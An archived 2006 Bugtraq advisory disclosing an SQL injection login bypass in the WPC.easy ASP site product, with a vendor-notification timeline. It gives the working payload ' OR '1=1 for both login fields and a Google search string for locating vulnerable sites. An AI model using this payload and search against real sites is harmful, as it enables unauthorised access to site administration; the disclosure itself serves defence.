bugtraq - SLQ Injection vulnerability in WPCeasy

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 18 Feb 2006 16:24:52 -0000
From: murfie@...il.com
To: bugtraq@...urityfocus.com
Subject: SLQ Injection vulnerability in WPCeasy

My first vulnerability report :)

Description:

"WPC.easy" is a database generated website with a dynamic on-line administration suite which allows for product updates, editing, deleting, image upload and price changes. "WPC.easy" is powered by a Secure Database.

vendor: http://www.webpagecity.com/wpceasy/wpceasy.asp

Quote:
"WPC.easy" is an interactive self maintained web site, developed with ASP technology. The web site has a secure, password protected dynamic administration interface.

Secure ?? Woops.. :)

googledork:

"Thank You for using WPCeasy"
http://www.google.com/search?q=%22Thank+You+for+using+WPCeasy%22&filter=0

SLQ injection:

login: ' OR '1=1
password: ' OR '1=1

Status:

28 jan 2006: vulnerability found
29 jan 2006: vendor notified 
30 Jan 2006: vendor responded
18 Feb 2006: still no fix, posted to buqtraq

Greetings to L0om for encouraging me to post this here and everyone at JIHS.